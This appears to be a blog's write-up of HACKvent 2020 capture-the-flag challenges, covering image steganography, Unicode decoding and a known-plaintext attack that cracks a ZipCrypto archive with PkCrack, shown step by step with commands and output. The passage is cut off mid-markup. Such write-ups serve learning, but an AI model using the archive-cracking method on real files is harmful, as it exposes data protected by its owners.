{"id":2084,"date":"2021-01-01T11:31:52","date_gmt":"2021-01-01T11:31:52","guid":{"rendered":"https:\/\/devel0pment.de\/?p=2084"},"modified":"2021-01-24T05:54:33","modified_gmt":"2021-01-24T05:54:33","slug":"hackvent20-writeup","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=2084","title":{"rendered":"HACKvent20 writeup"},"content":{"rendered":"\n<style>\n.tblChlg {\n  border:none;\n  padding:10px;\n}\n\n.tblChlg tr {\n  border:none;\n}\n\n.tblChlgInner {\n  border:none;\n}\n\n.tblChlgInner tr {\n  border:none;\n}\n\n.tblChlgInner td {\n  padding:5px;\n}\n\n.tblChlgInner tr td:first-child {\n  font-weight:bold;\n  width:20%;\n}\n\n#tblOverviewOuter tr {\n  border:none;\n}\n\n#tblOverviewOuter td {\n  vertical-align:top;\n}\n\n.tblOverview tr {\n  border:none;\n}\n\n.tblOverview td {\n  padding-top:5px;\n  padding-right:10px;\n}\n\n.easy {\n  background-color:#4caf50;\n  color:#ffffff;\n  padding:5px;\n}\n\n.medium {\n  background-color:#ff9800;\n  color:#ffffff;\n  padding:5px;\n}\n\n.hard {\n  background-color:#e91e63;\n  color:#ffffff;\n  padding:5px;\n}\n\n.leet {\n  background-color:#444444;\n  color:#ffffff;\n  padding:5px;\n}\n\n.fake_link {\n  color:#0000ff;\n  text-decoration:underline;\n}\n\n.hl {\n  color:#2222ff;\n  font-family:\"Courier 10 Pitch\", Courier, monospace;\n  font-weight:bold;\n}\n\nbody {\n  font-family:\"Libre Franklin\", \"Helvetica Neue\", helvetica, arial, sans-serif;\n}\n\npre {\n  white-space:pre-wrap;\n}\n\n<\/style>\n\n<table>\n<tr>\n<td width=\"200px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv20.png\" width=\"200px\"\/><\/td>\n<td>This year&#8217;s <a href=\"https:\/\/hacking-lab.com\" rel=\"noopener noreferrer\" target=\"_blank\">HACKvent<\/a> hosted on <a href=\"https:\/\/competition.hacking-lab.com\" rel=\"noopener noreferrer\" target=\"_blank\">competition.hacking-lab.com<\/a> has been as great as every year.<br\/>There was a total amount of 28 awesome challenges with varying difficulties.<\/td>\n<\/tr>\n<\/table>\n\n<table id=\"tblOverviewOuter\">\n<tr>\n\n<td valign=\"top\">\n<table class=\"tblOverview\" cellpadding=\"0\" cellspacing=\"0\">\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/1.png\" width=\"64px\"\/><td><a href=\"?p=2084#_1\">HV20.(-1) Twelve steps of christmas<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/01.png\" width=\"64px\"\/><td><a href=\"?p=2084#01\">HV20.01 Happy HACKvent 2020<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/02.png\" width=\"64px\"\/><td><a href=\"?p=2084#02\">HV20.02 Chinese Animals<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/03.png\" width=\"64px\"\/><td><a href=\"?p=2084#03\">HV20.03 Packed gifts<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/04.png\" width=\"64px\"\/><td><a href=\"?p=2084#04\">HV20.04 Br&#x2764;celet<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/05.png\" width=\"64px\"\/><td><a href=\"?p=2084#05\">HV20.05 Image DNA<\/a><\/td><\/tr>\n<\/table>\n\n<td valign=\"top\">\n<table class=\"tblOverview\" cellpadding=\"0\" cellspacing=\"0\">\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/13.png\" width=\"64px\"\/><td><a href=\"?p=2084#13\">HV20.13 Twelve steps of christmas<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/14.png\" width=\"64px\"\/><td><a href=\"?p=2084#14\">HV20.14 Santa&#8217;s Special GIFt<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/15.png\" width=\"64px\"\/><td><a href=\"?p=2084#15\">HV20.15 Man Commands, Server Lost<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/16.png\" width=\"64px\"\/><td><a href=\"?p=2084#16\">HV20.16 Naughty Rudolph<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/17.png\" width=\"64px\"\/><td><a href=\"?p=2084#17\">HV20.17 Santa&#8217;s Gift Factory Control<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/18.png\" width=\"64px\"\/><td><a href=\"?p=2084#18\">HV20.18 Santa&#8217;s lost home<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/19.png\" width=\"64px\"\/><td><a href=\"?p=2084#19\">HV20.19 Docker Linter Service<\/a><\/td><\/tr>\n<\/table>\n\n\n<\/td>\n\n<\/tr>\n<tr>\n\n<\/td><td valign=\"top\">\n<table class=\"tblOverview\" cellpadding=\"0\" cellspacing=\"0\">\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/06.png\" width=\"64px\"\/><td><a href=\"?p=2084#06\">HV20.06 Twelve steps of christmas<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/07.png\" width=\"64px\"\/><td><a href=\"?p=2084#07\">HV20.07 Bad morals<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/08.png\" width=\"64px\"\/><td><a href=\"?p=2084#08\">HV20.08 The game<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/09.png\" width=\"64px\"\/><td><a href=\"?p=2084#09\">HV20.09 Santa&#8217;s Gingerbread Factory<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/10.png\" width=\"64px\"\/><td><a href=\"?p=2084#10\">HV20.10 Be patient with the adjacent<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/11.png\" width=\"64px\"\/><td><a href=\"?p=2084#11\">HV20.11 Chris&#8217;mas carol<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/12.png\" width=\"64px\"\/><td><a href=\"?p=2084#12\">HV20.12 Wiener waltz<\/a><\/td><\/tr>\n<\/table>\n\n\n\n\n<\/td><td valign=\"top\">\n<table class=\"tblOverview\" cellpadding=\"0\" cellspacing=\"0\">\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/20.png\" width=\"64px\"\/><td><a href=\"?p=2084#20\">HV20.20 Twelve steps of Christmas<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/21.png\" width=\"64px\"\/><td><a href=\"?p=2084#21\">HV20.21 Threatened Cat<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/22.png\" width=\"64px\"\/><td><a href=\"?p=2084#22\">HV20.22 Padawanlock<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/23.png\" width=\"64px\"\/><td><a href=\"?p=2084#23\">HV20.23 Those who make backups are cowards!<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/24.png\" width=\"64px\"\/><td><a href=\"?p=2084#24\">HV20.24 Santa&#8217;s Secure Data Storage<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/h1.png\" width=\"64px\"\/><td><a href=\"?p=2084#h1\">HV20.H1 It&#8217;s a secret!<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/h2.png\" width=\"64px\"\/><td><a href=\"?p=2084#h2\">HV20.H2 Oh, another secret!<\/a><\/td><\/tr>\n<tr><td width=\"64px\"><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/h3.png\" width=\"64px\"\/><td><a href=\"?p=2084#h3\">HV20.H3 Hidden in Plain Sight<\/a><\/td><\/tr>\n<\/table>\n<\/td><\/tr><\/table>\n\n\n\n<!--more-->\n\n\n\n<style>\ncode {\n  font-family:\"Courier 10 Pitch\", Courier, monospace;\n  font-size:14px;\n  line-height:18px;\n  background-color:#000000;\n  color:#00ff00 !important;\n  padding:10px;\n  display:block;\n  white-space:pre-wrap;\n  word-wrap:break-word;\n  margin-bottom:10px;\n}\n<\/style>\n\n\n\n<hr\/>\n<h2 id=\"_1\">HV20.(-1) Twelve steps of christmas<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/1.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"easy\">Easy<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_fun.png\" width=\"20px\"\/> Fun<\/td><\/tr>\n<tr><td>Author:<\/td><td><a href=\"https:\/\/twitter.com\/nonsxd\" rel=\"noopener noreferrer\" target=\"_blank\">Bread<\/a><\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nOn the third day of christmas my true love sent to me...\n\nthree caesar salads,\ntwo to (the) six arguments,\none quick response.\n\n<span class=\"fake_link\">Message<\/span>\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The provided text file <span class=\"hl\">Message<\/span> seems to be a caesar encrypted text:<\/p>\n\n<code>kali@kali:~\/hv20\/_1$ head message\nSbopb 3 alkb! Lcc tfqe vlr! Dbq yxzh ql tloh! Vlr'ob klq alkb ebob...\n\nfSYLOt0HDdlXXXXKPReBRdXXXWlXXXDxZXXXXXXQyan\/XXXGfUmRTEOPVUzdzEGsWjipWPY0bUYi\nFDS4xTVXXEgxoSeyhrP4AcwkHUtBdf+Nu+Bwtgct8W0Gnnlc07sbfUCUiHPfHYYBGeGNr\/2ccu\/3\nI\/vCCouITTqmmUg8mWWx6Ifl\/s41L4mMaouA\/yjPo+MrcPMdEEDL94y2buybwu8MsKxN8UUz1baL\nnF+e5tVJ21\/hvoubk53BbIgghi4b7UqOTqUMol7E0EtjjfsMK73arfc+ai8DCCCxDNsCBExR6L1V\notcucgqDYJzNCcJhni0EWwabueZNI9q7ky3\/EHXsNU5arb\/Oc199Z354dOH\/uyF8JzICgwzhcurM\n72UZ54Ug26Mt7Ryt\/WcqMK9wSg1k3931SYAO8gAHdf0sJ5d4BMGlguS8CK+Jx7SMt6afjNkFi59+\n4ALiPRZNg5JhP7lz2UxbJrCfZgpXhuAZAKEDHgYnVRyfiMfOBwP2rDFCWgKpCvLDt9pUpUTyoQbi\nVrRijYlBulNt\/9UE\/a3K3\/j4zvWAGI6+VtT\/XkhKK4dzg5dCNLN8rDRI8LswtL8\/8NaRYVIWtivu\n<\/code>\n\n<p>After decrypting the message with <span class=\"hl\">n=3<\/span> e.g. using <a href=\"https:\/\/gchq.github.io\/CyberChef\/\" rel=\"noopener noreferrer\" target=\"_blank\">CyberChef<\/a> the obvious base64-encoded data begins with <span class=\"hl\">iVBORw0KG&#8230;<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/_1$ head -n1 step_1\niVBORw0KGgoAAAANSUhEUgAAAZoAAAGaCAAAAAATbdq\/AAAJiXpUWHRSYXcgcHJvZmlsZSB0eXBl\n<\/code>\n\n<p>This sequence is the beginning of a base64-encoded PNG image:<\/p>\n\n<code>kali@kali:~\/hv20\/_1$ base64 -d step_1 > step_2\nkali@kali:~\/hv20\/_1$ file step_2\nstep_2: PNG image data, 410 x 410, 8-bit grayscale, non-interlaced\n<\/code>\n\n<p>Though the image seems to be empty:<\/p>\n\n<img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv_1_01.png\" border=\"1\" width=\"200px\"\/>\n\n<p>Having a closer look at it, we can see that it actually contains a QR code, but the black color was replaced with an almost white color (<span class=\"hl\">252<\/span>), which can hardly be differentiated from the outer white (<span class=\"hl\">255<\/span>).<\/p>\n\n<p>Using the following python script, we can replace all pixels, which are almost white with black pixels:<\/p>\n\n<code>kali@kali:~\/hv20\/_1$ cat trans.py\n#!\/usr\/bin\/env python3\n\nfrom PIL import Image\n\nimg = Image.open('.\/step_2')\npix = img.load()\n\nout = []\nfor w in range(img.size[0]):\n  for h in range(img.size[1]):\n    if (pix[w,h] != 255): out.append(0)\n    else: out.append(255)\n\nimg_out = Image.new(img.mode, img.size)\nimg_out.putdata(out)\nimg_out.save('step_3.png')\n<\/code>\n\n<p>Running the script produces the new image <span class=\"hl\">step_3.png<\/span> with the now clearly visible QR code:<\/p>\n\n<img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv_1_02.png\" border=\"1\" width=\"200px\"\/>\n\n<p>At last we can e.g. use <span class=\"hl\">zbarimg<\/span> (<span class=\"hl\">apt-get install zbar-tools<\/span>) in order to read the QR code:<\/p>\n\n<code>kali@kali:~\/hv20\/_1$ zbarimg step_3.png\nQR-Code:HV20{34t-sl33p-haxx-rep34t}\n...\n<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{34t-sl33p-haxx-rep34t}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"01\">HV20.01 Happy HACKvent 2020<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/01.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"easy\">Easy<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_forensic.png\" width=\"20px\"\/> Forensic<\/td><\/tr>\n<tr><td>Author:<\/td><td><a href=\"https:\/\/twitter.com\/janicmikes\" rel=\"noopener noreferrer\" target=\"_blank\">mij-the-dj<\/a><\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nWelcome to this year's HACKvent.\n\nAttached you can find the \"Official\" invitation to the HackVent.\n\n<img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv01_01.png\" width=\"600px\"\/>\n\nOne of my very young Cyber Elves cut some parts of the card with his alpha scissors.\n\nHave a great HACKvent,\n\n\u2013 Santa\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The term <span class=\"hl\">alpha scissor<\/span> suggests, that the <span class=\"hl\">RGBA alpha value<\/span> of the flag has been set to <span class=\"hl\">0<\/span> (hidden).<\/p>\n\n<p>Using the following python script, we can set all alpha values to <span class=\"hl\">255<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/01$ cat adjust_alpha.py \n#!\/usr\/bin\/env python3\n\nfrom PIL import Image\n\nimg = Image.open('.\/7c432457-ed44-4ebe-84bf-cb6966e7a3dc.png')\nimg.putalpha(255)\nimg.save('out.png')\n<\/code>\n\n<p>Running the script produces a new image <span class=\"hl\">out.png<\/span> with the flag:<\/p>\n\n<img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv01_02.png\" width=\"600px\"\/>\n\n<p>The flag is <span class=\"hl\">HV20{7vxFXB-ItHnqf-PuGNqZ}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"02\">HV20.02 Chinese Animals<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/02.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"easy\">Easy<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_fun.png\" width=\"20px\"\/> Fun<\/td><\/tr>\n<tr><td>Author:<\/td><td><a href=\"https:\/\/twitter.com\/the_compiler\" rel=\"noopener noreferrer\" target=\"_blank\">The Compiler<\/a><\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nI've received this note from a friend, who is a Chinese CTF player:\n\n&#24685;&#21916;&#65281;&#25910;&#26071;&#29234;&#65306;&#65320;&#65334;&#65298;&#65296;&#65371;&#29549;&#24940;&#27693;&#25964;&#25959;&#24942;&#29741;&#25205;&#29812;&#25970;&#26220;&#31021;&#27759;&#30309;&#29485;&#26482;&#24947;&#29485;&#28021;&#25645;&#26735;&#29299;&#65349;&#65373;\n<table><tr><td>Unfortunately, Google Translate wasn't of much help:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv02_01.png\"\/><\/td><\/tr><\/table>\n\n<img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv02_02.png\"\/>\n\nI suspect the data has somehow been messed up while transmitting it.\n\nSadly, I can't ask my friend about more details. The Great Chinese Firewall is thwarting our attempts to reach each other, and there's no way I'm going to install WeChat on my phone.\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The chinese characters within the flag are UTF-8 encoded resulting in 3 bytes per character:<\/p>\n\n<code>kali@kali:~\/hv20\/02$ echo -n '&#29549;&#24940;&#27693;&#25964;&#25959;&#24942;&#29741;&#25205;&#29812;&#25970;&#26220;&#31021;&#27759;&#30309;&#29485;&#26482;&#24947;&#29485;&#28021;&#25645;&#26735;&#29299;' |hexdump -C\n00000000  e7 8d ad e6 85 ac e6 b0  ad e6 95 ac e6 95 a7 e6  |................|\n00000010  85 ae e7 90 ad e6 89 b5  e7 91 b4 e6 95 b2 e6 99  |................|\n00000020  ac e7 a4 ad e6 b1 af e7  99 a5 e7 8c ad e6 9d b2  |................|\n00000030  e6 85 b3 e7 8c ad e6 b5  b5 e6 90 ad e6 a1 af e7  |................|\n00000040  89 b3                                             |..|\n00000042\n<\/code>\n\n<p>The first character (<span class=\"hl\">e7 8d ad<\/span>) represents the unicode code point <span class=\"hl\">U+736D<\/span>.<\/p>\n\n<p>The second character (<span class=\"hl\">e6 85 ac<\/span>) represents the unicode code point <span class=\"hl\">U+616C<\/span>.<\/p>\n\n<p>The third character (<span class=\"hl\">e6 b0 ad<\/span>) represents the unicode code point <span class=\"hl\">U+6C2D<\/span>.<\/p>\n\n<p>And so forth &#8230;<\/p>\n\n<p>By converting the unicode code points to ASCII, we get the actual flag. For the first three characters this results in &#8220;<span class=\"hl\">small-<\/span>&#8220;:<\/p>\n\n<code>kali@kali:~\/hv20\/02$ echo 736D616C6C2D|xxd -p -r\nsmall-<\/code>\n\n<p>We can simplify this step by using python with an <span class=\"hl\">UTF-16 Big Endian<\/span> encoding:<\/p>\n\n<code>kali@kali:~\/hv20\/02$ cat dec0de.py \n#!\/usr\/bin\/env python3\n\nflag = '&#29549;&#24940;&#27693;&#25964;&#25959;&#24942;&#29741;&#25205;&#29812;&#25970;&#26220;&#31021;&#27759;&#30309;&#29485;&#26482;&#24947;&#29485;&#28021;&#25645;&#26735;&#29299;'\nprint(b'HV20{'+flag.encode('utf-16-be')+b'e}')<\/code>\n\n<p>Running the script yields the flag:<\/p>\n\n<code>kali@kali:~\/hv20\/02$ .\/dec0de.py \nb'HV20{small-elegant-butterfly-loves-grass-mud-horse}'\n<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{small-elegant-butterfly-loves-grass-mud-horse}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"03\">HV20.03 Packed gifts<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/03.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"easy\">Easy<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_crypto.png\" width=\"20px\"\/> Crypto<\/td><\/tr>\n<tr><td>Author:<\/td><td><a href=\"https:\/\/twitter.com\/___darkstar__\" rel=\"noopener noreferrer\" target=\"_blank\">darkstar<\/a><\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nOne of the elves has unfortunately added a password to the last presents delivery and we cannot open it. The elf has taken a few days off after all the stress of the last weeks and is not available. Can you open the package for us?\n\nWe found the following packages:\n\n<span class=\"fake_link\">Package 1<\/span>\n<span class=\"fake_link\">Package 2<\/span>\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The first package (<span class=\"hl\">p1.zip<\/span>) is an <u>un<\/u>encrypted zip-archive containing 100 files from <span class=\"hl\">0000.bin<\/span> up to <span class=\"hl\">0099.bin<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/03$ zipinfo p1.zip \nArchive:  p1.zip\nZip file size: 28649 bytes, number of entries: 100\n-rw-r--r--  6.3 unx      172 bx defN 20-Nov-24 09:07 0000.bin\n-rw-r--r--  6.3 unx      172 bx defN 20-Nov-24 09:07 0001.bin\n...\n-rw-r--r--  6.3 unx      172 bx defN 20-Nov-24 09:07 0098.bin\n-rw-r--r--  6.3 unx      172 bx defN 20-Nov-24 09:07 0099.bin\n100 files, 17200 bytes uncompressed, 15827 bytes compressed:  8.0%\n<\/code>\n\n<p>The second package (<span class=\"hl\">p2.zip<\/span>) is an <u>encrypted<\/u> zip-archive containing 101 files from <span class=\"hl\">0000.bin<\/span> up to <span class=\"hl\">0099.bin<\/span> and an additional file called <span class=\"hl\">flag.bin<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/03$ zipinfo p2.zip \nArchive:  p2.zip\nZip file size: 30070 bytes, number of entries: 101\n-rw-r--r--  6.3 unx      172 Bx defN 20-Nov-24 09:07 0000.bin\n-rw-r--r--  6.3 unx      172 Bx defN 20-Nov-24 09:07 0001.bin\n...\n-rw-r--r--  6.3 unx      172 Bx defN 20-Nov-24 09:07 0099.bin\n-rw-r--r--  6.3 unx      172 Bx defN 20-Nov-24 09:25 flag.bin\n101 files, 17372 bytes uncompressed, 15908 bytes compressed:  8.4%\n<\/code>\n\n<p>When having access to a plaintext as well as the corresponding ciphertext, a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Known-plaintext_attack\" rel=\"noopener noreferrer\" target=\"_blank\">known-plaintext attack<\/a> can be carried out. For the <span class=\"hl\">PKZIP stream cipher<\/span> such an attack\/algorithm was implemented by <a href=\"https:\/\/link.springer.com\/chapter\/10.1007\/3-540-60590-8_12\" rel=\"noopener noreferrer\" target=\"_blank\">Eli Biham and Paul C. Kocher<\/a>.<\/p>\n\n<p>In order to determine, if there are equal files within both archives, we can compare the CRC checksum (the checksum is calculated <u>before<\/u> the file is encrypted). The checksum can be displayed using <span class=\"hl\">zipinfo -v<\/span>:<\/p>\n\n\n<code>kali@kali:~\/hv20\/03$ zipinfo -v p1.zip\n...\n\nCentral directory entry #1:\n---------------------------\n\n  0000.bin\n\n  offset of local header from start of archive:   0\n                                                  (0000000000000000h) bytes\n  file system or operating system of origin:      Unix\n  version of encoding software:                   6.3\n  minimum file system compatibility required:     Unix\n  minimum software version required to extract:   2.0\n  compression method:                             deflated\n  compression sub-type (deflation):               normal\n  file security status:                           not encrypted\n  extended local header:                          no\n  file last modified on (DOS date\/time):          2020 Nov 24 09:07:32\n  32-bit CRC value (hex):                         d1380cc4\n  compressed size:                                159 bytes\n  uncompressed size:                              172 bytes\n  ...\n<\/code>\n\n<p>In order to check if there are same files within both archives, we can grep out and sort the checksums and compare them with <span class=\"hl\">comm<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/03$ comm -12 <(zipinfo -v p1.zip|grep CRC|cut -d ' ' -f7-|tr -d ' '|sort) <(zipinfo -v p2.zip|grep CRC|cut -d ' ' -f7-|tr -d ' '|sort)\nfcd6b08a\n<\/code>\n\n<p>Accordingly there is a single file with the CRC <span class=\"hl\">fcd6b08a<\/span>, which is present in both archives. By greping for the CRC, we can determine which file this is:<\/p>\n\n\n<code>kali@kali:~\/hv20\/03$ zipinfo -v p1.zip |grep fcd6b08a -B13\n  0053.bin\n  ...\n  32-bit CRC value (hex):                         fcd6b08a\nkali@kali:~\/hv20\/03$ zipinfo -v p2.zip |grep fcd6b08a -B13\n  0053.bin\n  ...\n  32-bit CRC value (hex):                         fcd6b08a\n<\/code>\n\n<p>The file in question is called <span class=\"hl\">0053.bin<\/span> (in both archives).<\/p>\n\n<p>Since we know have a plaintext as well as the corresponding ciphertext, we can carry out the formerly mentioned known-plaintext attack using <a href=\"https:\/\/www.unix-ag.uni-kl.de\/~conrad\/krypto\/pkcrack.html\" rel=\"noopener noreferrer\" target=\"_blank\">PkCrack<\/a>:<\/p>\n\n\n<code>kali@kali:\/tmp\/pkcrack-1.2.2\/src$ .\/pkcrack -C \/home\/kali\/hv20\/03\/p2.zip -c 0053.bin -P \/home\/kali\/hv20\/03\/p1.zip -p 0053.bin -d \/tmp\/p2_decrypted.zip -a               \nFiles read. Starting stage 1 on Thu Dec  3 06:36:14 2020                         \nGenerating 1st generation of possible key2_170 values...done.                    \nFound 4194304 possible key2-values.                                                                                                                                \nNow we're trying to reduce these...                                              \nDone. Left with 51026 possible Values. bestOffset is 24.                         \nStage 1 completed. Starting stage 2 on Thu Dec  3 06:36:20 2020                  \nTa-daaaaa! key0=2445b967, key1=cfb14967, key2=dceb769b                           \nProbabilistic test succeeded for 151 bytes.                                      \nTa-daaaaa! key0=2445b967, key1=cfb14967, key2=dceb769b                           \nProbabilistic test succeeded for 151 bytes.                                      \nStage 2 completed. Starting zipdecrypt on Thu Dec  3 06:37:13 2020               \nDecrypting 0000.bin (9ad4a32d5536280b9ed5e112)... OK!                            \nDecrypting 0001.bin (e4a90abe31c7fa5cd060b92e)... OK!                            \nDecrypting 0002.bin (32f291521900c30efd341884)... OK!\nDecrypting 0003.bin (94b0455afe5d924d351932fb)... OK!\nDecrypting 0004.bin (a794d01296fd4a61637b8bca)... OK!                            \n...\nDecrypting 0098.bin (755f9158019f05c30c704d6f)... OK!\nDecrypting 0099.bin (46b423aac46dfa48714b7084)... OK!\nDecrypting flag.bin (ac980a0f8354fc606be26b6f)... OK!\nFinished on Thu Dec  3 06:37:13 2020\n<\/code>\n\n<p>The program successfully recovered the internals keys used to encrypt the archive and stored an unencrypted version of the archive to <span class=\"hl\">\/tmp\/p2_decrypted.zip<\/span>:<\/p>\n\n<code>kali@kali:\/tmp\/$ unzip p2_decrypted.zip                                                \nArchive:  p2_decrypted.zip                                                                \n  inflating: 0000.bin                                                            \n  inflating: 0001.bin           \n...\n  inflating: 0099.bin                \n  inflating: flag.bin                \n<\/code>\n\n<p>The file <span class=\"hl\">flag.bin<\/span> contains the base64-encoded flag:<\/p>\n\n<code>kali@kali:\/tmp$ cat flag.bin;echo\nSFYyMHtaaXBDcnlwdDBfdzF0aF9rbjB3bl9wbGExbnRleHRfMXNfZWFzeV90MF9kZWNyeXB0fSAgICAgICAgICAgICAgICAgSFYyMHtaaXBDcnlwdDBfdzF0aF9rbjB3bl9wbGExbnRleHRfMXNfZWFzeV90MF9kZWNyeXB0fQo=\nkali@kali:\/tmp$ cat flag.bin|base64 -d\nHV20{ZipCrypt0_w1th_kn0wn_pla1ntext_1s_easy_t0_decrypt}                 HV20{ZipCrypt0_w1th_kn0wn_pla1ntext_1s_easy_t0_decrypt}\n<\/code>\n\n\n\n<p>The flag is <span class=\"hl\">HV20{ZipCrypt0_w1th_kn0wn_pla1ntext_1s_easy_t0_decrypt}<\/span>.<\/p>\n\n<p>The challenge also contains the <a href=\"#h1\">first hidden flag<\/a>.<\/p><br\/><hr\/>\n<h2 